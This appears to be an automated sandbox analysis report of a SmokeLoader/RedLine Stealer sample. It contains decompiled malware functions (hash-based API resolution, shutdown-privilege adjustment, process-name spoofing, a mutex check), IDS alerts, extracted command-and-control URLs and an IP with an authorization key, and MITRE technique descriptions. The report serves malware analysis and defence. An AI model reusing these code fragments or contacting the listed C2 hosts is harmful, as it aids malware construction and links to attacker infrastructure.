Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction ID: 26dd1f9777305501ff1cd5e9f76bd07b448e1de680a266f39bdfa576d74df3df
Opcode Fuzzy Hash: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction Fuzzy Hash: 24C08CB7048308BFEA009FE1FC0EEAB7FACE799722F00C02AF20040050DA72A1109778

Uniqueness

Uniqueness Score: -1.00%

Function 0040B453 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B453(intOrPtr __eax, void* __edi) {
				intOrPtr _t9;
				void* _t12;
				void* _t13;
				void* _t19;
				void* _t20;

				_t19 = __edi;
				_t9 = __eax;
				_t12 = 2;
				asm("loop 0x7f");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				do {
					_t13 = _t12 - 1;
					if(_t13 == 0) {
						do {
							 *((intOrPtr*)(_t20 - 4)) =  *((intOrPtr*)(_t20 - 4)) - 0x1000;
						} while ( *((char*)( *((intOrPtr*)(_t20 - 4)))) != 0x4d ||  *((char*)( *((intOrPtr*)(_t20 - 4)) + 1)) != 0x5a);
						_t9 =  *((intOrPtr*)(_t20 - 4));
						_t13 = 0x1000;
						goto L1;
					} else {
						_t9 = _t9 + 1;
						L1:
						goto L2;
					}
					L13:
					L2:
					_push(_t9);
					_t12 = _t13 + 1;
					_t19 = _t19 + 1;
					_t20 = _t20 + 1;
				} while (_t20 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0x59465256);
				return  *((intOrPtr*)(_t20 - 4));
				goto L13;
			}

0x0040b453
0x0040b453
0x0040b453
0x0040b455
0x0040b46d
0x0040b46f
0x0040b471
0x0040b473
0x0040b473
0x0040b477
0x0040dce8
0x0040dcf1
0x00408de6
0x00408dff
0x00408e02
0x00000000
0x0040b47d
0x0040b47d
0x00402320
0x00000000
0x00402320
0x00000000
0x00402322
0x00402322
0x00402323
0x00402324
0x00402325
0x00402325
0x0040e3ff
0x00000000

APIs

DeviceIoControl.KERNEL32(00000000,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction ID: 4278b43e27663415cba18f20cd4f792bdb1a65b806582fdca38cb5ba5a4c1545
Opcode Fuzzy Hash: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction Fuzzy Hash: 5D515B75A04244DFEB08CF98C590BAABBB2EF94304F2881E9D9015B387C675EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1F6 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 169
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D1F6() {
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t10;
				intOrPtr _t14;
				intOrPtr _t19;
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t83;

				 *0x46c530 = GetModuleHandleA("kernel32.dll");
				_t2 =  *0x46c530; // 0x74700000
				 *0x46cfcc = E0040C2B9(_t83, _t2, 0xcb2370a1);
				_t39 =  *0x46c530; // 0x74700000
				 *0x46d008 = E0040C2B9(_t83, _t39, 0xe5c5590f);
				_t48 =  *0x46c530; // 0x74700000
				 *0x46d004 = E0040C2B9(_t83, _t48, 0xd00ee561);
				_t6 =  *0x46c530; // 0x74700000
				 *0x46d000 = E0040C2B9(_t83, _t6, 0x55277bdf);
				_t40 =  *0x46c530; // 0x74700000
				 *0x46cfec = E0040C2B9(_t83, _t40, 0x45a95ed9);
				_t49 =  *0x46c530; // 0x74700000
				 *0x46cfe8 = E0040C2B9(_t83, _t49, 0x30b3f45c);
				_t10 =  *0x46c530; // 0x74700000
				 *0x46cfe4 = E0040C2B9(_t83, _t10, 0x3712cedd);
				_t41 =  *0x46c530; // 0x74700000
				 *0x46cfdc = E0040C2B9(_t83, _t41, 0x603a5cda);
				_t50 =  *0x46c530; // 0x74700000
				 *0x46cfd8 = E0040C2B9(_t83, _t50, 0xe212a177);
				_t14 =  *0x46c530; // 0x74700000
				 *0x46cff0 = E0040C2B9(_t83, _t14, 0x8f3ad528);
				_t42 =  *0x46c530; // 0x74700000
				 *0x46cfd4 = E0040C2B9(_t83, _t42, 0x58735ed4);
				_t51 =  *0x46c530; // 0x74700000
				 *0x46cfd0 = E0040C2B9(_t83, _t51, 0x37055488);
				 *0x46c52c = LoadLibraryA("advapi32.dll");
				_t19 =  *0x46c52c; // 0x76b10000
				 *0x46cffc = E0040C2B9(_t83, _t19, 0xf1b3fb9d);
				_t43 =  *0x46c52c; // 0x76b10000
				 *0x46cff8 = E0040C2B9(_t83, _t43, 0xa081a5bd);
				_t52 =  *0x46c52c; // 0x76b10000
				 *0x46cff4 = E0040C2B9(_t83, _t52, 0x51b83d3b);
				_t23 =  *0x46c530; // 0x74700000
				 *0x46cfe0 = E0040C2B9(_t83, _t23, 0xac75b4fd);
				 *0x46c528 = LoadLibraryA("ntdll.dll");
				_t44 =  *0x46c528; // 0x77d00000
				 *0x46cfc8 = E0040C2B9(_t83, _t44, 0xed6cabb3);
				_t53 =  *0x46c528; // 0x77d00000
				 *0x46cfc4 = E0040C2B9(_t83, _t53, 0x65ce569d);
				_t28 =  *0x46c528; // 0x77d00000
				 *0x46cfbc = E0040C2B9(_t83, _t28, 0x11b68aa8);
				_t45 =  *0x46c528; // 0x77d00000
				 *0x46cfb8 = E0040C2B9(_t83, _t45, 0x3b36e07a);
				_t54 =  *0x46c528; // 0x77d00000
				 *0x46cfb4 = E0040C2B9(_t83, _t54, 0x63a35b55);
				_t32 =  *0x46c528; // 0x77d00000
				 *0x46cfc0 = E0040C2B9(_t83, _t32, 0xfd3a0e6a);
				_t46 =  *0x46c528; // 0x77d00000
				 *0x46cfb0 = E0040C2B9(_t83, _t46, 0x2c434735);
				_t55 =  *0x46c528; // 0x77d00000
				 *0x46cfac = E0040C2B9(_t83, _t55, 0x18f25cd6);
				_t36 =  *0x46c528; // 0x77d00000
				 *0x46cfa8 = E0040C2B9(_t83, _t36, 0x7919b00);
				_t47 =  *0x46c528; // 0x77d00000
				_t38 = E0040C2B9(_t83, _t47, 0xb272ea3d);
				 *0x46cfa4 = _t38;
				return _t38;
			}

0x0040d204
0x0040d20e
0x0040d21c
0x0040d226
0x0040d235
0x0040d23f
0x0040d24e
0x0040d258
0x0040d266
0x0040d270
0x0040d27f
0x0040d289
0x0040d298
0x0040d2a2
0x0040d2b0
0x0040d2ba
0x0040d2c9
0x0040d2d3
0x0040d2e2
0x0040d2ec
0x0040d2fa
0x0040d304
0x0040d313
0x0040d31d
0x0040d32c
0x0040d33c
0x0040d346
0x0040d354
0x0040d35e
0x0040d36d
0x0040d377
0x0040d386
0x0040d390
0x0040d39e
0x0040d3ae
0x0040d3b8
0x0040d3c7
0x0040d3d1
0x0040d3e0
0x0040d3ea
0x0040d3f8
0x0040d402
0x0040d411
0x0040d41b
0x0040d42a
0x0040d434
0x0040d442
0x0040d44c
0x0040d45b
0x0040d465
0x0040d474
0x0040d47e
0x0040d48c
0x0040d496
0x0040d49d
0x0040d4a5
0x0040d4ab

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040AEB6,?,?,004046B5), ref: 0040D1FE
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0040D336
LoadLibraryA.KERNEL32(ntdll.dll), ref: 0040D3A8

Strings

ntdll.dll, xrefs: 0040D3A3
kernel32.dll, xrefs: 0040D1F9
advapi32.dll, xrefs: 0040D331

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: LibraryLoad$HandleModule
String ID: advapi32.dll$kernel32.dll$ntdll.dll
API String ID: 2593893887-1356967432
Opcode ID: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction ID: ca720bcfbdb204521244a6d16e88fbee784b87e4b750a5d7fd7297a05bd30f3d
Opcode Fuzzy Hash: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction Fuzzy Hash: DC511DF2D10210EFD304BFA1BCC28393AB5E649305744457FF985A72A1F6B9A9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 004023F2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82
libraryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E004023F2(void* __eflags) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v56;
				intOrPtr _t34;
				void* _t43;
				void* _t57;
				void* _t64;

				_t64 = __eflags;
				_v8 = 0;
				_v8 = LoadLibraryA("advapi32.dll");
				_v24 = E0040C2B9(_t64, _v8, 0xcb281c54);
				_v28 = E0040C2B9(_t64, _v8, 0x67340137);
				_v36 = E0040C2B9(_t64, _v8, 0x11143a65);
				_t34 =  *0x46c530; // 0x74700000
				_v20 = E0040C2B9(_t64, _t34, 0xb65a6df4);
				_push(_v20(0x28,  &_v32));
				if(_v24() == 0) {
					L4:
					return 0;
				}
				_v28(0, "SeShutdownPrivilege", _t57 + 0xffffffffffffffd0);
				_v56 = 1;
				 *((intOrPtr*)(_t57 + 0xffffffffffffffd8)) = 2;
				_t43 = _v36(_v32, 0,  &_v56, 0, 0,  &_v40);
				_t66 = _t43;
				if(_t43 == 0) {
					goto L4;
				}
				_v12 = 0;
				_v16 = 0;
				_v12 = LoadLibraryA("NTDLL.DLL");
				_v16 = E0040C2B9(_t66, _v12, 0xce91d18);
				_v16(1);
				return 1;
			}

0x004023f2
0x004023f8
0x0040240a
0x0040241e
0x00402432
0x00402446
0x0040244e
0x0040245c
0x00402468
0x0040246e
0x0040be06
0x00000000
0x0040be06
0x00402488
0x0040248b
0x0040249a
0x004024b4
0x004024b7
0x004024b9
0x00000000
0x00000000
0x004024bf
0x004024c6
0x004024d8
0x004024ec
0x004024f1
0x00000000

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402404
LoadLibraryA.KERNEL32(NTDLL.DLL), ref: 004024D2

Strings

SeShutdownPrivilege, xrefs: 00402481
advapi32.dll, xrefs: 004023FF
NTDLL.DLL, xrefs: 004024CD

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NTDLL.DLL$SeShutdownPrivilege$advapi32.dll
API String ID: 1029625771-2471717051
Opcode ID: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction ID: 3c0ce9a7761a6e63309c521fc4ca6a6d9466e377a545f21450368ef7aac56ae8
Opcode Fuzzy Hash: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction Fuzzy Hash: F13146B1E10209EBDB04DFE0CD46BEEBB74EB44701F20416AF501B66C0E7795A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405312 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00405312(WCHAR* _a4, intOrPtr _a8, signed int _a12) {
				long _v8;
				signed int _v12;
				unsigned int _v16;
				intOrPtr _v20;
				short _v22;
				char _v24;
				void* _v32;

				if(_a12 <= 0x7ffd) {
					_v12 = _a12;
				} else {
					_v12 = 0x7ffd;
				}
				E0040335C( &_v32,  &_v32, 8);
				RtlInitUnicodeString( &_v32, _a4);
				_v20 = _a8;
				_v24 = 0;
				_v22 = _v12 << 1;
				_v16 = 0;
				_v8 =  *0x46cfc0(0,  &_v32,  &_v24,  &_v16);
				if(_v8 >= 0) {
					L7:
					return _v16 >> 1;
				} else {
					if(_v8 != 0xc0000023) {
						goto L1;
					}
					goto L7;
				}
				L1:
				RtlRestoreLastWin32Error(RtlNtStatusToDosError(_v8));
				return 0;
			}

0x0040531f
0x0040c39a
0x00405325
0x00405325
0x00405325
0x00408332
0x00408342
0x0040834b
0x00408350
0x00408359
0x0040835d
0x00408378
0x0040837f
0x0040b659
0x00000000
0x00408385
0x0040838c
0x00000000
0x00000000
0x00000000
0x00408392
0x004037e4
0x004037ef
0x00000000

APIs

RtlNtStatusToDosError.NTDLL(C0000023), ref: 004037E8
RtlRestoreLastWin32Error.NTDLL(00000000), ref: 004037EF
RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

#, xrefs: 00408385

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: Error$EnvironmentExpandInitLastRestoreStatusStringStrings_UnicodeWin32
String ID: #
API String ID: 4202685462-1885708031
Opcode ID: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction ID: 2625ad76528c3a05819e41784e94355af3192e6a8ec1aace2841fc774e878e1c
Opcode Fuzzy Hash: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction Fuzzy Hash: D5115175D14209EFDB14DFE4C984AAEBB79EF08301F10856AE915B32C0EB789705CB56

Uniqueness

Uniqueness Score: -1.00%

Function 004050A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004050A2(void* __ecx, struct _EXCEPTION_RECORD _a4, intOrPtr _a8, WCHAR* _a12) {
				intOrPtr _v8;
				intOrPtr _t12;

				_push(__ecx);
				_v8 = _a8;
				_t12 =  *((intOrPtr*)(_a4 + 0x18));
				if(_t12 ==  *((intOrPtr*)(_v8 + 8))) {
					__ecx =  *0x46c2d0; // 0x7a0000
					RtlInitUnicodeString(_a4 + 0x24, __ecx);
					__eax = _a4;
					__eax = _a4 + 0x2c;
					RtlInitUnicodeString(__eax, L"explorer.exe");
					__ecx = _a12;
					 *_a12 = 1;
					return __eax;
				}
				 *_a12 = 0;
				return _t12;
			}

0x004050a5
0x004050a9
0x004050b2
0x004050b8
0x004050be
0x004050cc
0x004050d7
0x004050da
0x004050de
0x004050e4
0x004050e7
0x00000000
0x004050e7
0x004043bf
0x00000000

APIs

RtlInitUnicodeString.NTDLL(?,007A0000), ref: 004050CC
RtlInitUnicodeString.NTDLL(?,explorer.exe), ref: 004050DE

Strings

explorer.exe, xrefs: 004050D2

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: InitStringUnicode
String ID: explorer.exe
API String ID: 4228678080-3187896405
Opcode ID: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction ID: 050ed0569a6514cfdb40d37d4b6a842c1993e2635d6f26a1999b978f90a0d4ff
Opcode Fuzzy Hash: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction Fuzzy Hash: BAF09074204248EFCB04CF54C880E6ABBA6FB49304F20855AFC0597381C674ED91CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403AEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403AEE(void* __ecx) {
				struct _SECURITY_ATTRIBUTES* _v8;

				 *0x46c534 = CreateMutexW(0, 0, L"WTfewgNmxpcaVXHKTu");
				if(GetLastError() == 0xb7) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				return _v8;
			}

0x00403b01
0x00403b11
0x00403e7a
0x00403b17
0x00403b17
0x00403b17
0x004021a0

APIs

CreateMutexW.KERNEL32(00000000,00000000,WTfewgNmxpcaVXHKTu,?,?,004044C1,?,?,004046B5), ref: 00403AFB
GetLastError.KERNEL32(?,?,004044C1,?,?,004046B5), ref: 00403B06

Strings

WTfewgNmxpcaVXHKTu, xrefs: 00403AF2

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: WTfewgNmxpcaVXHKTu
API String ID: 1925916568-3869692174
Opcode ID: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction ID: a0a935667e3c440a3b0ad9d72cf5864bc57c65037e1d1e5c0e0eaa538b974b95
Opcode Fuzzy Hash: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction Fuzzy Hash: F7D017B040A304EAE3009F50DE4DB597EB4EB04703F208036E2026A2D4E3F85A45564A

Uniqueness

Uniqueness Score: -1.00%

Source: h168121.srv21.test-hf.su	Virustotal: Detection: 8%	Perma Link
Source: aapu.at	Virustotal: Detection: 8%	Perma Link
Source: http://firsttrusteedrx.ru/tmp/	Virustotal: Detection: 17%	Perma Link
Source: http://kingpirate.ru/tmp/	Virustotal: Detection: 6%	Perma Link

Source: 18.2.RegSvcs.exe.3151a8c.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 12.2.123.exe.840000.0.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 13.0.321.exe.13c0000.0.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 12.0.123.exe.840000.0.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 13.2.321.exe.13c0000.0.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 10.2.72E5.exe.25e312c.2.unpack	Avira: Label: TR/Patched.Ren.Gen7

Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.4:52825 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2022482 ET TROJAN JS/Nemucod requesting EXE payload 2016-02-01 192.168.2.4:49726 -> 91.227.16.21:80
Source: Traffic	Snort IDS: 2021954 ET TROJAN JS/Nemucod.M.gen downloading EXE payload 91.227.16.21:80 -> 192.168.2.4:49726
Source: Traffic	Snort IDS: 2018572 ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families) 91.227.16.21:80 -> 192.168.2.4:49726
Source: Traffic	Snort IDS: 2043233 ET TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.4:49743 -> 51.210.161.21:36108
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.4:49743 -> 51.210.161.21:36108
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 51.210.161.21:36108 -> 192.168.2.4:49743

Source: Malware configuration extractor	URLs: 51.210.161.21:36108
Source: Malware configuration extractor	URLs: http://aapu.at/tmp/
Source: Malware configuration extractor	URLs: http://poudineh.com/tmp/
Source: Malware configuration extractor	URLs: http://firsttrusteedrx.ru/tmp/
Source: Malware configuration extractor	URLs: http://kingpirate.ru/tmp/

Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Joe Sandbox ML: detected
Source: C:\Windows\Temp\123.exe	Joe Sandbox ML: detected
Source: C:\Windows\Temp\321.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Joe Sandbox ML: detected

Source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://aapu.at/tmp/", "http://poudineh.com/tmp/", "http://firsttrusteedrx.ru/tmp/", "http://kingpirate.ru/tmp/"]}
Source: 12.2.123.exe.873a80.1.unpack	Malware Configuration Extractor: RedLine {"C2 url": "51.210.161.21:36108", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Source: Yara match	File source: 10.2.72E5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.72E5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.445067575.0000000000413000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Source: Joe Sandbox View	JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
